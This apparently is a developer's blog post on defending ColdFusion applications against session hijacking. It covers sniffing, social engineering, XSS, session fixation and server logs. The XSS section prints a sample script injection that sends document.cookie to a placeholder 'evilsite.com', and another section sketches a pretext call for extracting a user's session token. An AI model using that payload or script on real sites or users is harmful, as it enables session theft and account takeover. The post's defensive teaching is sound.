So in order for a hacker to hijack a session, he or she needs to obtain a session token from a legitimate user session. They can accomplish this in one of several ways.
- Access to the physical machine
- Packet Sniffing on the network
- Social Engineering
- Cross-Site Scripting (XSS)
- Session Fixation
- Server logs
So let's look at these one by one.
Access to the Physical Machine
When a hacker can gain access to the physical machine that a legitimate user has recently been on, they can obtain the session token by:
- Looking at the disk written cookies, if one was written (ColdFusion Session Management)
- Looking at the in-memory cookies, if the user has not closed down their browser (Any session management)
- Looking at the browser history, if the developer passed the token in the URL String, (Any Session Management)
So, how do we limit this risk?
By using J2EE session variables we can eliminate risk #1, because there will be no disk-written cookies.
By reducing the time span of our session timeouts we can reduce the risk of all three.
And we can eliminate risk #3 by not passing the token in the URL string and by insisting that the user have cookies enabled, as we discussed here
Of course, there is nothing we can do about our users not closing their browsers or not properly using the "logoff" button where appropriate, except to try to educate them on why they should.
Packet Sniffing on the Network
Packet Sniffing is the act of using software to intercept the packets of network traffic on a network to log their contents. The data inside of those packets can be used to exploit a network system or application. The types of information a hacker can get from packet sniffing include: session tokens, passwords, credit card numbers, and other sensitive data.
So how do we stop it? Really, there is only one way, of which I am aware, to prevent packet sniffing. And that is with Secure Sockets Layer (SSL) encryption. By using SSL on your site, you encrypt the traffic between the browser and the server, making packet sniffing nearly (if not totally) impossible.
There's a phrase we have not heard in a long time. Many people forget about
and how it can be used to exploit a network or an application, but the threat is still VERY real.
Hypothetical: One of your users receives a call, from "Technical Support" saying: "We received a report that someone was using your account to sending threatening messages to person XXX. We are calling to verify your computer and to encourage you to change your password right away. Could you please [Walks user through finding the session cookie] and read me the number there."
Now, you may be too clever to fall for this type of trickery. But your users are not. Granted, not every application is worthy of going to this much trouble to exploit, but you should be aware that it is possible.
So how do we stop our users from doing silly things? Well, there are two things we can do to reduce the risk of this type of "attack". The first, as always, is to educate our users. If possible, let them know that the "Technical Support" department will not be calling them to "verify information", etc.
The second thing we can do is to make sure we are not using Standard ColdFusion Session tokens, which are only a (up to) 4-digit number CFIF and an 8-digit number CFToken. These are pretty easy for the user to read off, and will probably not arouse the user's suspicion. However, if the user needs to read off a 35 character UUID or a 35 character jsession id, it is more difficult to do, it may arouse the user's suspicion, and it is easier for the hacker to make a mistake taking it down. Of course, this does not completely reduce the risk, but it can help.
I was just thinking, another thing one could do, if they wanted is to obfuscate the session id with several phony session ids. In your onSessionStart() method add a session.ksessionid and a session.wsessionid, and a session. qsessionid, etc. I don't know if this is a good idea or not, it just occurred to me that it might make the social engineering a little more difficult.
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is a HUGE topic. I will be covering it in more detail in a future series. But it is important to understand that it can be used to exploit a user session pretty easily if you do not take the initiative to protect your application from it.
XSS occurs when a malicious user manages to "inject" code into your site. This can be done through any standard web interface. One of the most likely places for this to occur is in blog comment or online forums, where you give the end user access to submit information that can be viewed by other users. Don't forget that your site administrators are other users as well, so even a contact us form can be used in this way.
So for example, a malicious user could insert the following as their "comment" on your blog.
document.location = "http://www.evilsite.com";
So, how can they use this to steal session tokens? Well it's pretty easy. They would "inject" something like this:
document.location='http://www.evilsite.com?' + document.cookie;
Now, the evil site will also get the session cookie of any user who gets redirected there. Of course, this would get suspicious quickly. So the hacker would need to put in a redirect from his site back to the victim site, but believe me, the hackers are very clever. This is a very simple example.
So, how do we avoid it.
There are several things we can do to limit XSS attacks on our sites. The first thing you can do is enable script protect. If your administrator has not already done it in the ColdFusion administrator, then you can do it in your application.cfc file by adding this to your pseudo-constructor:
<cfset this.scriptprotect = 'all' />
Now, this does not catch everything, so we should ALWAYS sanitize anything the user sends into our application. This can be done with the HTMLEditFormat() function.
So anytime you output data that was provided from a user, you use HTMLeditFormat() to display it.
We'll talk more about XSS in future posts. For now, do these two things to protect your application.
Well, this one appears to carry with it some good news. As far as I can tell, ColdFusion is not vulnerable to Session Fixation attacks. At least not easily. I speak only of CF7 & CF8 here, I have not tested any others. I believe CF 4 and 5 were vulnerable, but that is based on hearsay.
I have spent a few hours now trying to exploit an application over which I have control, and I have been unable to fixate a session.
Really quick, a session fixation attack occurs when a malicious user sends a link to a user that contains a sessionid. Like:
Then the user clicks on the link, and logs into their account. In the background, the server has accepted the token that was passed in as legit, either because the server is stupid or because the hacker has previously established the session and has been persisting it by refreshing.
Then the hacker would have the session token of the user after they log in, and they can hijack the session. Of course, since this requires convincing the user to click on the link, some social engineering is required.
If the hacker can obtain access to the server logs from where your site is hosted and your application passes the session token in the URL and you are not using SLL, then he or she can get the session tokens out of the logs. Simple as that. To reduce the risk of this type of exploit you should NOT pass the token in the URL and you should reduce the session timeout.
I have had a lot of fun with this session security sub-series. I did not have a chance to look at session security in a cluster, so I am not sure if there are any concerns that exist only in that environment. I would be curious to hear if anyone knows of any.
I am not sure yet what my next series will be on, but I have a few non-series security related post, and possibly some on my journey to become more object-oriented.